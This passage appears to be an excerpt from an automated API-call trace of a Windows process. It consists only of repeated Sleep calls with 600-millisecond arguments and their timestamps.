(dwMilliseconds=0x258) [0161.695] Sleep (dwMilliseconds=0x258) [0161.697] Sleep (dwMilliseconds=0x258) [0161.698] Sleep (dwMilliseconds=0x258) [0161.700] Sleep (dwMilliseconds=0x258) [0161.701] Sleep (dwMilliseconds=0x258) [0161.703] Sleep (dwMilliseconds=0x258) [0161.704] Sleep (dwMilliseconds=0x258) [0161.706] Sleep (dwMilliseconds=0x258) [0161.707] Sleep (dwMilliseconds=0x258) [0161.710] Sleep (dwMilliseconds=0x258) [0161.711] Sleep (dwMilliseconds=0x258) [0161.713] Sleep (dwMilliseconds=0x258) [0161.714] Sleep (dwMilliseconds=0x258) [0161.716] Sleep (dwMilliseconds=0x258) [0161.718] Sleep (dwMilliseconds=0x258) [0161.720] Sleep (dwMilliseconds=0x258) [0161.722] Sleep (dwMilliseconds=0x258) [0161.723] Sleep (dwMilliseconds=0x258) [0161.724] Sleep (dwMilliseconds=0x258) [0161.726] Sleep (dwMilliseconds=0x258) [0161.727] Sleep (dwMilliseconds=0x258) [0161.729] Sleep (dwMilliseconds=0x258) [0161.731] Sleep (dwMilliseconds=0x258) [0161.732] Sleep (dwMilliseconds=0x258) [0161.734] Sleep (dwMilliseconds=0x258) [0161.735] Sleep (dwMilliseconds=0x258) [0161.737] Sleep (dwMilliseconds=0x258) [0161.738] Sleep (dwMilliseconds=0x258) [0161.740] Sleep (dwMilliseconds=0x258) [0161.741] Sleep (dwMilliseconds=0x258) [0161.743] Sleep (dwMilliseconds=0x258) [0161.746] Sleep (dwMilliseconds=0x258) [0161.748] Sleep (dwMilliseconds=0x258) [0161.750] Sleep (dwMilliseconds=0x258) [0161.751] Sleep (dwMilliseconds=0x258) [0161.753] Sleep (dwMilliseconds=0x258) [0161.754] Sleep (dwMilliseconds=0x258) [0161.756] Sleep (dwMilliseconds=0x258) [0161.757] Sleep (dwMilliseconds=0x258) [0161.759] Sleep (dwMilliseconds=0x258) [0161.760] Sleep (dwMilliseconds=0x258) [0161.762] Sleep (dwMilliseconds=0x258) [0161.764] Sleep (dwMilliseconds=0x258) [0161.765] Sleep (dwMilliseconds=0x258) [0161.767] Sleep (dwMilliseconds=0x258) [0161.769] Sleep (dwMilliseconds=0x258) [0161.771] Sleep (dwMilliseconds=0x258) [0161.772] Sleep (dwMilliseconds=0x258) [0161.773] Sleep (dwMilliseconds=0x258) [0161.776] Sleep (dwMilliseconds=0x258) [0161.778] Sleep (dwMilliseconds=0x258) [0161.779] Sleep (dwMilliseconds=0x258) [0161.781] Sleep (dwMilliseconds=0x258) [0161.784] Sleep (dwMilliseconds=0x258) [0161.786] Sleep (dwMilliseconds=0x258) [0161.787] Sleep (dwMilliseconds=0x258) [0161.789] Sleep (dwMilliseconds=0x258) [0161.790] Sleep (dwMilliseconds=0x258) [0161.792] Sleep (dwMilliseconds=0x258) [0161.793] Sleep (dwMilliseconds=0x258) [0161.795] Sleep (dwMilliseconds=0x258) [0161.796] Sleep (dwMilliseconds=0x258) [0161.798] Sleep (dwMilliseconds=0x258) [0161.799] Sleep (dwMilliseconds=0x258) [0161.801] Sleep (dwMilliseconds=0x258) [0161.802] Sleep (dwMilliseconds=0x258) [0161.804] Sleep (dwMilliseconds=0x258) [0161.805] Sleep (dwMilliseconds=0x258) [0161.807] Sleep (dwMilliseconds=0x258) [0161.812] Sleep (dwMilliseconds=0x258) [0161.814] Sleep (dwMilliseconds=0x258) [0161.815] Sleep (dwMilliseconds=0x258) [0161.817] Sleep (dwMilliseconds=0x258) [0161.818] Sleep (dwMilliseconds=0x258) [0161.822] Sleep (dwMilliseconds=0x258) [0161.823] Sleep (dwMilliseconds=0x258) [0161.825] Sleep (dwMilliseconds=0x258) [0161.826] Sleep (dwMilliseconds=0x258) [0161.828] Sleep (dwMilliseconds=0x258) [0161.829] Sleep (dwMilliseconds=0x258) [0161.831] Sleep (dwMilliseconds=0x258) [0161.832] Sleep (dwMilliseconds=0x258) [0161.834] Sleep (dwMilliseconds=0x258) [0161.835] Sleep (dwMilliseconds=0x258) [0161.837] Sleep (dwMilliseconds=0x258) [0161.838] Sleep (dwMilliseconds=0x258) [0161.840] Sleep (dwMilliseconds=0x258) [0161.841] Sleep (dwMilliseconds=0x258) [0161.843] Sleep (dwMilliseconds=0x258) [0161.844] Sleep (dwMilliseconds=0x258) [0161.846] Sleep (dwMilliseconds=0x258) [0161.847] Sleep (dwMilliseconds=0x258) [0161.849] Sleep (dwMilliseconds=0x258) [0161.850] Sleep (dwMilliseconds=0x258) [0161.852] Sleep (dwMilliseconds=0x258) [0161.853] Sleep (dwMilliseconds=0x258) [0161.855] Sleep (dwMilliseconds=0x258) [0161.857] Sleep (dwMilliseconds=0x258) [0161.860] Sleep (dwMilliseconds=0x258) [0161.862] Sleep (dwMilliseconds=0x258) [0161.863] Sleep (dwMilliseconds=0x258) [0161.865] Sleep (dwMilliseconds=0x258) [0161.866] Sleep (dwMilliseconds=0x258) [0161.868] Sleep (dwMilliseconds=0x258) [0161.869] Sleep (dwMilliseconds=0x258) [0161.871] Sleep (dwMilliseconds=0x258) [0161.872] Sleep (dwMilliseconds=0x258) [0161.874] Sleep (dwMilliseconds=0x258) [0161.876] Sleep (dwMilliseconds=0x258) [0161.878] Sleep (dwMilliseconds=0x258) [0161.879] Sleep (dwMilliseconds=0x258) [0161.881] Sleep (dwMilliseconds=0x258) [0161.882] Sleep (dwMilliseconds=0x258) [0161.884] Sleep (dwMilliseconds=0x258) [0161.885] Sleep (dwMilliseconds=0x258) [0161.887] Sleep (dwMilliseconds=0x258) [0161.888] Sleep (dwMilliseconds=0x258) [0161.890] Sleep (dwMilliseconds=0x258) [0161.891] Sleep (dwMilliseconds=0x258) [0161.893] Sleep (dwMilliseconds=0x258) [0161.894] Sleep (dwMilliseconds=0x258) [0161.896] Sleep (dwMilliseconds=0x258) [0161.897] Sleep (dwMilliseconds=0x258) [0161.901] Sleep (dwMilliseconds=0x258) [0161.902] Sleep (dwMilliseconds=0x258) [0161.904] Sleep (dwMilliseconds=0x258) [0161.905] Sleep (dwMilliseconds=0x258) [0161.907] Sleep (dwMilliseconds=0x258) [0161.908] Sleep (dwMilliseconds=0x258) [0161.910] Sleep (dwMilliseconds=0x258) [0161.911] Sleep (dwMilliseconds=0x258) [0161.913] Sleep (dwMilliseconds=0x258) [0161.914] Sleep (dwMilliseconds=0x258) [0161.916] Sleep (dwMilliseconds=0x258) [0161.918] Sleep (dwMilliseconds=0x258) [0161.920] Sleep (dwMilliseconds=0x258) [0161.921] Sleep (dwMilliseconds=0x258) [0161.923] Sleep (dwMilliseconds=0x258) [0161.924] Sleep (dwMilliseconds=0x258) [0161.926] Sleep (dwMilliseconds=0x258) [0161.927] Sleep (dwMilliseconds=0x258) [0161.929] Sleep (dwMilliseconds=0x258) [0161.931] Sleep (dwMilliseconds=0x258) [0161.932] Sleep (dwMilliseconds=0x258) [0161.934] Sleep (dwMilliseconds=0x258) [0162.016] Sleep (dwMilliseconds=0x258) [0162.018] Sleep (dwMilliseconds=0x258) [0162.020] Sleep (dwMilliseconds=0x258) [0162.021] Sleep (dwMilliseconds=0x258) [0162.024] Sleep (dwMilliseconds=0x258) [0162.027] Sleep (dwMilliseconds=0x258) [0162.028] Sleep (dwMilliseconds=0x258) [0162.030] Sleep (dwMilliseconds=0x258) [0162.031] Sleep (dwMilliseconds=0x258) [0162.033] Sleep (dwMilliseconds=0x258) [0162.034] Sleep (dwMilliseconds=0x258) [0162.036] Sleep (dwMilliseconds=0x258) [0162.037] Sleep (dwMilliseconds=0x258) [0162.039] Sleep (dwMilliseconds=0x258) [0162.040] Sleep (dwMilliseconds=0x258) [0162.043] Sleep (dwMilliseconds=0x258) [0162.044] Sleep (dwMilliseconds=0x258) [0162.125] Sleep (dwMilliseconds=0x258) [0162.165] Sleep (dwMilliseconds=0x258) [0162.167] Sleep (dwMilliseconds=0x258) [0162.168] Sleep (dwMilliseconds=0x258) [0162.170] Sleep (dwMilliseconds=0x258) [0162.171] Sleep (dwMilliseconds=0x258) [0162.173] Sleep (dwMilliseconds=0x258) [0162.174] Sleep (dwMilliseconds=0x258) [0162.176] Sleep (dwMilliseconds=0x258) [0162.178] Sleep (dwMilliseconds=0x258) [0162.179] Sleep (dwMilliseconds=0x258) [0162.180] Sleep (dwMilliseconds=0x258) [0162.182] Sleep (dwMilliseconds=0x258) [0162.183] Sleep (dwMilliseconds=0x258) [0162.185] Sleep (dwMilliseconds=0x258) [0162.186] Sleep (dwMilliseconds=0x258) [0162.188] Sleep (dwMilliseconds=0x258) [0162.189] Sleep (dwMilliseconds=0x258) [0162.192] Sleep (dwMilliseconds=0x258) [0162.193] Sleep (dwMilliseconds=0x258) [0162.254] Sleep (dwMilliseconds=0x258) [0162.255] Sleep (dwMilliseconds=0x258) [0162.309] Sleep (dwMilliseconds=0x258) [0162.311] Sleep (dwMilliseconds=0x258) [0162.312] Sleep (dwMilliseconds=0x258) [0162.314] Sleep (dwMilliseconds=0x258) [0162.315] Sleep (dwMilliseconds=0x258) [0162.317] Sleep (dwMilliseconds=0x258) [0162.318] Sleep (dwMilliseconds=0x258) [0162.320] Sleep (dwMilliseconds=0x258) [0162.321] Sleep (dwMilliseconds=0x258) [0162.332] Sleep (dwMilliseconds=0x258) [0162.334] Sleep (dwMilliseconds=0x258) [0162.335] Sleep (dwMilliseconds=0x258) [0162.337] Sleep (dwMilliseconds=0x258) [0162.338] Sleep (dwMilliseconds=0x258) [0162.364] Sleep (dwMilliseconds=0x258) [0162.448] Sleep (dwMilliseconds=0x258) [0162.449] Sleep (dwMilliseconds=0x258) [0162.450] Sleep (dwMilliseconds=0x258) [0162.452] Sleep (dwMilliseconds=0x258) [0162.453] Sleep (dwMilliseconds=0x258) [0162.455] Sleep (dwMilliseconds=0x258) [0162.457] Sleep (dwMilliseconds=0x258) [0162.458] Sleep (dwMilliseconds=0x258) [0162.460] Sleep (dwMilliseconds=0x258) [0162.461] Sleep (dwMilliseconds=0x258) [0162.463] Sleep (dwMilliseconds=0x258) [0162.464] Sleep (dwMilliseconds=0x258) [0162.466] Sleep (dwMilliseconds=0x258) [0162.467] Sleep (dwMilliseconds=0x258) [0162.469] Sleep (dwMilliseconds=0x258) [0162.470] Sleep (dwMilliseconds=0x258) [0162.472] Sleep (dwMilliseconds=0x258) [0162.473] Sleep (dwMilliseconds=0x258) [0162.475] Sleep (dwMilliseconds=0x258) [0162.476] Sleep (dwMilliseconds=0x258) [0162.478] Sleep (dwMilliseconds=0x258) [0162.585] Sleep (dwMilliseconds=0x258) [0162.600] Sleep (dwMilliseconds=0x258) [0162.602] Sleep (dwMilliseconds=0x258) [0162.603] Sleep (dwMilliseconds=0x258) [0162.606] Sleep (dwMilliseconds=0x258) [0162.608] Sleep (dwMilliseconds=0x258) [0162.609] Sleep (dwMilliseconds=0x258) [0162.611] Sleep (dwMilliseconds=0x258) [0162.612] Sleep (dwMilliseconds=0x258) [0162.614] Sleep (dwMilliseconds=0x258) [0162.615] Sleep (dwMilliseconds=0x258) [0162.617] Sleep (dwMilliseconds=0x258) [0162.618] Sleep (dwMilliseconds=0x258) [0162.620] Sleep (dwMilliseconds=0x258) [0162.621] Sleep (dwMilliseconds=0x258) [0162.623] Sleep (dwMilliseconds=0x258) [0162.624] Sleep (dwMilliseconds=0x258) [0162.626] Sleep (dwMilliseconds=0x258) [0162.627] Sleep (dwMilliseconds=0x258) [0162.629] Sleep (dwMilliseconds=0x258) [0162.630] Sleep (dwMilliseconds=0x258) [0162.706] Sleep (dwMilliseconds=0x258) [0162.709] Sleep (dwMilliseconds=0x258) [0162.740] Sleep (dwMilliseconds=0x258) [0162.741] Sleep (dwMilliseconds=0x258) [0162.744] Sleep (dwMilliseconds=0x258) [0162.745] Sleep (dwMilliseconds=0x258) [0162.747] Sleep (dwMilliseconds=0x258) [0162.749] Sleep (dwMilliseconds=0x258) [0162.750] Sleep (dwMilliseconds=0x258) [0162.752] Sleep (dwMilliseconds=0x258) [0162.753] Sleep (dwMilliseconds=0x258) [0162.757] Sleep (dwMilliseconds=0x258) [0162.759] Sleep (dwMilliseconds=0x258) [0162.760] Sleep (dwMilliseconds=0x258) [0162.762] Sleep (dwMilliseconds=0x258) [0162.763] Sleep (dwMilliseconds=0x258) [0162.765] Sleep (dwMilliseconds=0x258) [0162.767] Sleep (dwMilliseconds=0x258) [0162.769] Sleep (dwMilliseconds=0x258) [0162.979] Sleep (dwMilliseconds=0x258) [0162.982] Sleep (dwMilliseconds=0x258) [0163.026] Sleep (dwMilliseconds=0x258) [0163.027] Sleep (dwMilliseconds=0x258) [0163.029] Sleep (dwMilliseconds=0x258) [0163.031] Sleep (dwMilliseconds=0x258) [0163.033] Sleep (dwMilliseconds=0x258) [0163.034] Sleep (dwMilliseconds=0x258) [0163.036] Sleep (dwMilliseconds=0x258) [0163.037] Sleep (dwMilliseconds=0x258) [0163.039] Sleep (dwMilliseconds=0x258) [0163.089] Sleep (dwMilliseconds=0x258) [0163.171] Sleep (dwMilliseconds=0x258) [0163.173] Sleep (dwMilliseconds=0x258) [0163.235] Sleep (dwMilliseconds=0x258) [0163.237] Sleep (dwMilliseconds=0x258) [0163.238] Sleep (dwMilliseconds=0x258) [0163.240] Sleep (dwMilliseconds=0x258) [0163.241] Sleep (dwMilliseconds=0x258) [0163.243] Sleep (dwMilliseconds=0x258) [0163.244] Sleep (dwMilliseconds=0x258) [0163.246] Sleep (dwMilliseconds=0x258) [0163.247] Sleep (dwMilliseconds=0x258) [0163.250] Sleep (dwMilliseconds=0x258) [0163.252] Sleep (dwMilliseconds=0x258) [0163.253] Sleep (dwMilliseconds=0x258) [0163.255] Sleep (dwMilliseconds=0x258) [0163.256] Sleep (dwMilliseconds=0x258) [0163.258] Sleep (dwMilliseconds=0x258) [0163.259] Sleep (dwMilliseconds=0x258) [0163.261] Sleep (dwMilliseconds=0x258) [0163.263] Sleep (dwMilliseconds=0x258) [0163.270] Sleep (dwMilliseconds=0x258) [0163.307] Sleep (dwMilliseconds=0x258) [0163.396] Sleep (dwMilliseconds=0x258) [0163.399] Sleep (dwMilliseconds=0x258) [0163.401] Sleep (dwMilliseconds=0x258) [0163.402] Sleep (dwMilliseconds=0x258) [0163.404] Sleep (dwMilliseconds=0x258) [0163.405] Sleep (dwMilliseconds=0x258) [0163.408] Sleep (dwMilliseconds=0x258) [0163.409] Sleep (dwMilliseconds=0x258) [0163.410] Sleep (dwMilliseconds=0x258) [0163.412] Sleep (dwMilliseconds=0x258) [0163.413] Sleep (dwMilliseconds=0x258) [0163.415] Sleep (dwMilliseconds=0x258) [0163.416] Sleep (dwMilliseconds=0x258) [0163.418] Sleep (dwMilliseconds=0x258) [0163.420] Sleep (dwMilliseconds=0x258) [0163.422] Sleep (dwMilliseconds=0x258) [0163.423] Sleep (dwMilliseconds=0x258) [0163.441] Sleep (dwMilliseconds=0x258) [0163.442] Sleep (dwMilliseconds=0x258) [0163.536] Sleep (dwMilliseconds=0x258) [0163.537] Sleep (dwMilliseconds=0x258) [0163.543] Sleep (dwMilliseconds=0x258) [0163.545] Sleep (dwMilliseconds=0x258) [0163.547] Sleep (dwMilliseconds=0x258) [0163.549] Sleep (dwMilliseconds=0x258) [0163.551] Sleep (dwMilliseconds=0x258) [0163.553] Sleep (dwMilliseconds=0x258) [0163.554] Sleep (dwMilliseconds=0x258) [0163.559] Sleep (dwMilliseconds=0x258) [0163.561] Sleep (dwMilliseconds=0x258) [0163.562] Sleep (dwMilliseconds=0x258) [0163.564] Sleep (dwMilliseconds=0x258) [0163.565] Sleep (dwMilliseconds=0x258) [0163.575] Sleep (dwMilliseconds=0x258) [0163.673] Sleep (dwMilliseconds=0x258) [0163.676] Sleep (dwMilliseconds=0x258) [0163.678] Sleep (dwMilliseconds=0x258) [0163.679] Sleep (dwMilliseconds=0x258) [0163.681] Sleep (dwMilliseconds=0x258) [0163.682] Sleep (dwMilliseconds=0x258) [0163.684] Sleep (dwMilliseconds=0x258) [0163.685] Sleep (dwMilliseconds=0x258) [0163.687] Sleep (dwMilliseconds=0x258) [0163.688] Sleep (dwMilliseconds=0x258) [0163.690] Sleep (dwMilliseconds=0x258) [0163.691] Sleep (dwMilliseconds=0x258) [0163.693] Sleep (dwMilliseconds=0x258) [0163.694] Sleep (dwMilliseconds=0x258) [0163.696] Sleep (dwMilliseconds=0x258) [0163.697] Sleep (dwMilliseconds=0x258) [0163.699] Sleep (dwMilliseconds=0x258) [0163.700] Sleep (dwMilliseconds=0x258) [0163.702] Sleep (dwMilliseconds=0x258) [0163.706] Sleep (dwMilliseconds=0x258) [0163.786] Sleep (dwMilliseconds=0x258) [0163.788] Sleep (dwMilliseconds=0x258) [0163.816] Sleep (dwMilliseconds=0x258) [0163.818] Sleep (dwMilliseconds=0x258) [0163.821] Sleep (dwMilliseconds=0x258) [0163.822] Sleep (dwMilliseconds=0x258) [0163.837] Sleep (dwMilliseconds=0x258) [0163.839] Sleep (dwMilliseconds=0x258) [0163.840] Sleep (dwMilliseconds=0x258) [0163.842] Sleep (dwMilliseconds=0x258) [0163.843] Sleep (dwMilliseconds=0x258) [0163.845] Sleep (dwMilliseconds=0x258) [0163.905] Sleep (dwMilliseconds=0x258) [0163.906] Sleep (dwMilliseconds=0x258) [0163.986] Sleep (dwMilliseconds=0x258) [0163.987] Sleep (dwMilliseconds=0x258) [0163.989] Sleep (dwMilliseconds=0x258) [0163.990] Sleep (dwMilliseconds=0x258) [0163.992] Sleep (dwMilliseconds=0x258) [0163.993] Sleep (dwMilliseconds=0x258) [0163.995] Sleep (dwMilliseconds=0x258) [0163.996] Sleep (dwMilliseconds=0x258) [0163.998] Sleep (dwMilliseconds=0x258) [0163.999] Sleep (dwMilliseconds=0x258) [0164.001] Sleep (dwMilliseconds=0x258) [0164.002] Sleep (dwMilliseconds=0x258) [0164.004] Sleep (dwMilliseconds=0x258) [0164.005] Sleep (dwMilliseconds=0x258) [0164.007] Sleep (dwMilliseconds=0x258) [0164.008] Sleep (dwMilliseconds=0x258) [0164.010] Sleep (dwMilliseconds=0x258) [0164.011] Sleep (dwMilliseconds=0x258) [0164.032] Sleep (dwMilliseconds=0x258) [0164.074] Sleep (dwMilliseconds=0x258) [0164.076] Sleep (dwMilliseconds=0x258) [0164.195] Sleep (dwMilliseconds=0x258) [0164.197] Sleep (dwMilliseconds=0x258) [0164.198] Sleep (dwMilliseconds=0x258) [0164.200] Sleep (dwMilliseconds=0x258) [0164.201] Sleep (dwMilliseconds=0x258) [0164.203] Sleep (dwMilliseconds=0x258) [0164.204] Sleep (dwMilliseconds=0x258) [0164.206] Sleep (dwMilliseconds=0x258) [0164.208] Sleep (dwMilliseconds=0x258) [0164.209] Sleep (dwMilliseconds=0x258) [0164.211] Sleep (dwMilliseconds=0x258) [0164.212] Sleep (dwMilliseconds=0x258) [0164.214] Sleep (dwMilliseconds=0x258) [0164.215] Sleep (dwMilliseconds=0x258) [0164.217] Sleep (dwMilliseconds=0x258) [0164.218] Sleep (dwMilliseconds=0x258) [0164.220] Sleep (dwMilliseconds=0x258) [0164.222] Sleep (dwMilliseconds=0x258) [0164.223] Sleep (dwMilliseconds=0x258) [0164.249] Sleep (dwMilliseconds=0x258) [0164.251] Sleep (dwMilliseconds=0x258) [0164.348] Sleep (dwMilliseconds=0x258) [0164.351] Sleep (dwMilliseconds=0x258) [0164.352] Sleep (dwMilliseconds=0x258) [0164.354] Sleep (dwMilliseconds=0x258) [0164.355] Sleep (dwMilliseconds=0x258) [0164.359] Sleep (dwMilliseconds=0x258) [0164.364] Sleep (dwMilliseconds=0x258) [0164.366] Sleep (dwMilliseconds=0x258) [0164.369] Sleep (dwMilliseconds=0x258) [0164.370] Sleep (dwMilliseconds=0x258) [0164.371] Sleep (dwMilliseconds=0x258) [0164.373] Sleep (dwMilliseconds=0x258) [0164.374] Sleep (dwMilliseconds=0x258) [0164.376] Sleep (dwMilliseconds=0x258) [0164.377] Sleep (dwMilliseconds=0x258) [0164.383] Sleep (dwMilliseconds=0x258) [0164.464] Sleep (dwMilliseconds=0x258) [0164.467] Sleep (dwMilliseconds=0x258) [0164.486] Sleep (dwMilliseconds=0x258) [0164.488] Sleep (dwMilliseconds=0x258) [0164.491] Sleep (dwMilliseconds=0x258) [0164.494] Sleep (dwMilliseconds=0x258) [0164.495] Sleep (dwMilliseconds=0x258) [0164.497] Sleep (dwMilliseconds=0x258) [0164.498] Sleep (dwMilliseconds=0x258) [0164.500] Sleep (dwMilliseconds=0x258) [0164.501] Sleep (dwMilliseconds=0x258) [0164.503] Sleep (dwMilliseconds=0x258) [0164.504] Sleep (dwMilliseconds=0x258) [0164.506] Sleep (dwMilliseconds=0x258) [0164.507] Sleep (dwMilliseconds=0x258) [0164.509] Sleep (dwMilliseconds=0x258) [0164.510] Sleep (dwMilliseconds=0x258) [0164.512] Sleep (dwMilliseconds=0x258) [0164.513] Sleep (dwMilliseconds=0x258) [0164.515] Sleep (dwMilliseconds=0x258) [0164.516] Sleep (dwMilliseconds=0x258) [0164.579] Sleep (dwMilliseconds=0x258) [0164.581] Sleep (dwMilliseconds=0x258) [0164.627] Sleep (dwMilliseconds=0x258) [0164.628] Sleep (dwMilliseconds=0x258) [0164.630] Sleep (dwMilliseconds=0x258) [0164.631] Sleep (dwMilliseconds=0x258) [0164.633] Sleep (dwMilliseconds=0x258) [0164.635] Sleep (dwMilliseconds=0x258) [0164.636] Sleep (dwMilliseconds=0x258) [0164.638] Sleep (dwMilliseconds=0x258) [0164.639] Sleep (dwMilliseconds=0x258) [0164.641] Sleep (dwMilliseconds=0x258) [0164.642] Sleep (dwMilliseconds=0x258) [0164.645] Sleep (dwMilliseconds=0x258) [0164.646] Sleep (dwMilliseconds=0x258) [0164.648] Sleep (dwMilliseconds=0x258) [0164.649] Sleep (dwMilliseconds=0x258) [0164.651] Sleep (dwMilliseconds=0x258) [0164.652] Sleep (dwMilliseconds=0x258) [0164.654] Sleep (dwMilliseconds=0x258) [0164.655] Sleep (dwMilliseconds=0x258) [0164.663] Sleep (dwMilliseconds=0x258) [0164.697] Sleep (dwMilliseconds=0x258) [0164.698] Sleep (dwMilliseconds=0x258) [0164.769] Sleep (dwMilliseconds=0x258) [0164.772] Sleep (dwMilliseconds=0x258) [0164.774] Sleep (dwMilliseconds=0x258) [0164.775] Sleep (dwMilliseconds=0x258) [0164.779] Sleep (dwMilliseconds=0x258) [0164.784] Sleep (dwMilliseconds=0x258) [0164.786] Sleep (dwMilliseconds=0x258) [0164.787] Sleep (dwMilliseconds=0x258) [0164.789] Sleep (dwMilliseconds=0x258) [0164.790] Sleep (dwMilliseconds=0x258) [0164.792] Sleep (dwMilliseconds=0x258) [0164.793] Sleep (dwMilliseconds=0x258) [0164.795] Sleep (dwMilliseconds=0x258) [0164.796] Sleep (dwMilliseconds=0x258) [0164.798] Sleep (dwMilliseconds=0x258) [0164.799] Sleep (dwMilliseconds=0x258) [0164.810] Sleep (dwMilliseconds=0x258) [0164.897] Sleep (dwMilliseconds=0x258) [0164.898] Sleep (dwMilliseconds=0x258) [0164.910] Sleep (dwMilliseconds=0x258) [0164.911] Sleep (dwMilliseconds=0x258) [0164.912] Sleep (dwMilliseconds=0x258) [0164.914] Sleep (dwMilliseconds=0x258) [0164.915] Sleep (dwMilliseconds=0x258) [0164.917] Sleep (dwMilliseconds=0x258) [0164.918] Sleep (dwMilliseconds=0x258) [0164.920] Sleep (dwMilliseconds=0x258) [0164.921] Sleep (dwMilliseconds=0x258) [0164.923] Sleep (dwMilliseconds=0x258) [0164.924] Sleep (dwMilliseconds=0x258) [0164.926] Sleep (dwMilliseconds=0x258) [0164.927] Sleep (dwMilliseconds=0x258) [0164.929] Sleep (dwMilliseconds=0x258) [0164.930] Sleep (dwMilliseconds=0x258) [0164.932] Sleep (dwMilliseconds=0x258) [0164.933] Sleep (dwMilliseconds=0x258) [0164.971] Sleep (dwMilliseconds=0x258) [0165.037] Sleep (dwMilliseconds=0x258) [0165.038] Sleep (dwMilliseconds=0x258) [0165.076] Sleep (dwMilliseconds=0x258) [0165.078] Sleep (dwMilliseconds=0x258) [0165.079] Sleep (dwMilliseconds=0x258) [0165.095] Sleep (dwMilliseconds=0x258) [0165.097] Sleep (dwMilliseconds=0x258) [0165.099] Sleep (dwMilliseconds=0x258) [0165.100] Sleep (dwMilliseconds=0x258) [0165.102] Sleep (dwMilliseconds=0x258) [0165.103] Sleep (dwMilliseconds=0x258) [0165.105] Sleep (dwMilliseconds=0x258) [0165.106] Sleep (dwMilliseconds=0x258) [0165.108] Sleep (dwMilliseconds=0x258) [0165.109] Sleep (dwMilliseconds=0x258) [0165.111] Sleep (dwMilliseconds=0x258) [0165.112] Sleep (dwMilliseconds=0x258) [0165.114] Sleep (dwMilliseconds=0x258) [0165.115] Sleep (dwMilliseconds=0x258) [0165.117] Sleep (dwMilliseconds=0x258) [0165.118] Sleep (dwMilliseconds=0x258) [0165.120] Sleep (dwMilliseconds=0x258) [0165.121] Sleep (dwMilliseconds=0x258) [0165.173] Sleep (dwMilliseconds=0x258) [0165.267] Sleep (dwMilliseconds=0x258) [0165.269] Sleep (dwMilliseconds=0x258) [0165.271] Sleep (dwMilliseconds=0x258) [0165.274] Sleep (dwMilliseconds=0x258) [0165.275] Sleep (dwMilliseconds=0x258) [0165.276] Sleep (dwMilliseconds=0x258) [0165.278] Sleep (dwMilliseconds=0x258) [0165.279] Sleep (dwMilliseconds=0x258) [0165.282] Sleep (dwMilliseconds=0x258) [0165.283] Sleep (dwMilliseconds=0x258) [0165.284] Sleep (dwMilliseconds=0x258) [0165.286] Sleep (dwMilliseconds=0x258) [0165.287] Sleep (dwMilliseconds=0x258) [0165.289] Sleep (dwMilliseconds=0x258) [0165.290] Sleep (dwMilliseconds=0x258) [0165.292] Sleep (dwMilliseconds=0x258) [0165.294] Sleep (dwMilliseconds=0x258) [0165.296] Sleep (dwMilliseconds=0x258) [0165.353] Sleep (dwMilliseconds=0x258) [0165.418] Sleep (dwMilliseconds=0x258) [0165.420] Sleep (dwMilliseconds=0x258) [0165.422] Sleep (dwMilliseconds=0x258) [0165.424] Sleep (dwMilliseconds=0x258) [0165.426] Sleep (dwMilliseconds=0x258) [0165.428] Sleep (dwMilliseconds=0x258) [0165.430] Sleep (dwMilliseconds=0x258) [0165.431] Sleep (dwMilliseconds=0x258) [0165.433] Sleep (dwMilliseconds=0x258) [0165.434] Sleep (dwMilliseconds=0x258) [0165.438] Sleep (dwMilliseconds=0x258) [0165.439] Sleep (dwMilliseconds=0x258) [0165.441] Sleep (dwMilliseconds=0x258) [0165.442] Sleep (dwMilliseconds=0x258) [0165.444] Sleep (dwMilliseconds=0x258) [0165.445] Sleep (dwMilliseconds=0x258) [0165.447] Sleep (dwMilliseconds=0x258) [0165.448] Sleep (dwMilliseconds=0x258) [0165.490] Sleep (dwMilliseconds=0x258) [0165.492] Sleep (dwMilliseconds=0x258) [0165.591] Sleep (dwMilliseconds=0x258) [0165.594] Sleep (dwMilliseconds=0x258) [0165.595] Sleep (dwMilliseconds=0x258) [0165.597] Sleep (dwMilliseconds=0x258) [0165.598] Sleep (dwMilliseconds=0x258) [0165.600] Sleep (dwMilliseconds=0x258) [0165.601] Sleep (dwMilliseconds=0x258) [0165.603] Sleep (dwMilliseconds=0x258) [0165.604] Sleep (dwMilliseconds=0x258) [0165.606] Sleep (dwMilliseconds=0x258) [0165.608] Sleep (dwMilliseconds=0x258) [0165.609] Sleep (dwMilliseconds=0x258) [0165.611] Sleep (dwMilliseconds=0x258) [0165.612] Sleep (dwMilliseconds=0x258) [0165.614] Sleep (dwMilliseconds=0x258) [0165.615] Sleep (dwMilliseconds=0x258) [0165.617] Sleep (dwMilliseconds=0x258) [0165.620] Sleep (dwMilliseconds=0x258) [0165.674] Sleep (dwMilliseconds=0x258) [0165.742] Sleep (dwMilliseconds=0x258) [0165.744] Sleep (dwMilliseconds=0x258) [0165.746] Sleep (dwMilliseconds=0x258) [0165.748] Sleep (dwMilliseconds=0x258) [0165.749] Sleep (dwMilliseconds=0x258) [0165.751] Sleep (dwMilliseconds=0x258) [0165.752] Sleep (dwMilliseconds=0x258) [0165.754] Sleep (dwMilliseconds=0x258) [0165.755] Sleep (dwMilliseconds=0x258) [0165.757] Sleep (dwMilliseconds=0x258) [0165.759] Sleep (dwMilliseconds=0x258) [0165.760] Sleep (dwMilliseconds=0x258) [0165.762] Sleep (dwMilliseconds=0x258) [0165.763] Sleep (dwMilliseconds=0x258) [0165.765] Sleep (dwMilliseconds=0x258) [0165.766] Sleep (dwMilliseconds=0x258) [0165.768] Sleep (dwMilliseconds=0x258) [0165.769] Sleep (dwMilliseconds=0x258) [0165.808] Sleep (dwMilliseconds=0x258) [0165.877] Sleep (dwMilliseconds=0x258) [0165.879] Sleep (dwMilliseconds=0x258) [0165.880] Sleep (dwMilliseconds=0x258) [0165.882] Sleep (dwMilliseconds=0x258) [0165.886] Sleep (dwMilliseconds=0x258) [0165.889] Sleep (dwMilliseconds=0x258) [0165.896] Sleep (dwMilliseconds=0x258) [0165.899] Sleep (dwMilliseconds=0x258) [0165.900] Sleep (dwMilliseconds=0x258) [0165.901] Sleep (dwMilliseconds=0x258) [0165.903] Sleep (dwMilliseconds=0x258) [0165.904] Sleep (dwMilliseconds=0x258) [0165.906] Sleep (dwMilliseconds=0x258) [0165.924] Sleep (dwMilliseconds=0x258) [0166.064] Sleep (dwMilliseconds=0x258) [0166.067] Sleep (dwMilliseconds=0x258) [0166.070] Sleep (dwMilliseconds=0x258) [0166.077] Sleep (dwMilliseconds=0x258) [0166.080] Sleep (dwMilliseconds=0x258) [0166.084] Sleep (dwMilliseconds=0x258) [0166.101] Sleep (dwMilliseconds=0x258) [0166.103] 